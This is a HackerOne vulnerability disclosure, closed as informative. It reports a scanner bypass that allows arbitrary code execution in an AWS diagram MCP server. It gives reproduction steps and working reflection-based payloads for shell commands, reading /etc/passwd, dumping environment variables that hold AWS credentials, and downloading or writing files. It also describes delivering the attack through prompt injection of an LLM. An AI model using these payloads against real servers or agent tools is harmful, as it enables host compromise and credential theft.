Arbitrary Code Execution via Scanner Bypass in **aws-diagram-mcp-server** `exec()` Namespace
None
Vulnerability Details
**Description:** The `aws-diagram-mcp-server` contains an arbitrary code execution vulnerability in diagrams_tools.py. User-supplied Python code is executed via `exec(code, namespace)` at line 305 with a namespace containing the full `os` module, `urlretrieve`, and Python `__builtins__`. A security scanner (scanner.py) attempts to block dangerous calls using string pattern matching (e.g., blocking literal `os.system`, `exec(`, `eval(`), but this is trivially bypassed using Python reflection such as `getattr(os, 'system')('cmd')`, `os.__dict__['system']('cmd')`, or `open('/etc/passwd').read()`, none of which match the blocked literal patterns. Additionally, `urlretrieve` is injected into the namespace but not blocked at all. The AST-based import validator is sound but irrelevant since dangerous modules are pre-loaded into the exec namespace by the server itself. This allows full shell command execution, arbitrary file read/write, environment variable exfiltration (including AWS credentials), and network access — all running with the privileges of the server process.
## Steps To Reproduce:
1. Clone the repository and install dependencies for the diagram server:
```
git clone https://github.com/awslabs/mcp.git && cd mcp/src/aws-diagram-mcp-server
uv venv && uv sync --all-groups
```
2. Launch the MCP Inspector connected to the server:
```
npx @modelcontextprotocol/inspector uv --directory /path/to/mcp/src/aws-diagram-mcp-server run awslabs.aws-diagram-mcp-server
```
Open `http://localhost:6274` in browser, click **Connect**, go to **Tools** tab, click **List Tools**, then select **`generate_diagram`**.
3. In the `code` input field, paste the following payload and click **Run Tool**:
```python
getattr(os, 'system')('echo PWNED > /tmp/mcp_poc_proof.txt')
with Diagram("PoC", show=False):
pass
```
Then verify in a terminal: `cat /tmp/mcp_poc_proof.txt` -- it outputs `PWNED`. The scanner does not block this because `getattr(os, 'system')` does not match the literal pattern `os.system` checked in `scanner.py:check_dangerous_functions()`.
4. Additional bypass payloads that also pass the scanner and execute successfully:
- **File read:** `open('/etc/hostname').read()` — `open()` is not in the blocked list
- **Command capture:** `getattr(os, 'popen')('whoami').read()` — avoids literal `os.popen`
- **Env exfil:** `getattr(os, 'environ')` — exposes all environment variables including potential AWS credentials
- **Network download:** `urlretrieve('https://example.com', '/tmp/downloaded.html')` — not blocked at all despite being in the exec namespace
- **File write:** `open('/tmp/arbitrary_file', 'w').write('attacker content')` — unrestricted write access
## Impact
## Summary
An attacker who can influence the `code` parameter sent to the `generate_diagram` tool, either directly as a connected MCP client or indirectly via prompt injection through an LLM, can execute arbitrary operating system commands with the full privileges of the server process. This enables:
- **Credential theft:** Exfiltrating AWS access keys, session tokens, and other secrets from environment variables
- **Data exfiltration:** Reading arbitrary files from the host filesystem (source code, config files, private keys)
- **System compromise:** Writing files, installing backdoors, or modifying system configuration
- **Lateral movement:** Using the server's network access and IAM role to pivot into cloud infrastructure
- **Denial of service:** Killing processes, deleting files, or exhausting system resources
The vulnerability is especially dangerous in agentic workflows where users paste untrusted content that the LLM may incorporate into a diagram generation request without human review.
Actions
View on HackerOneReport Stats
- Report ID: 3557138
- State: Closed
- Substate: informative
- Upvotes: 3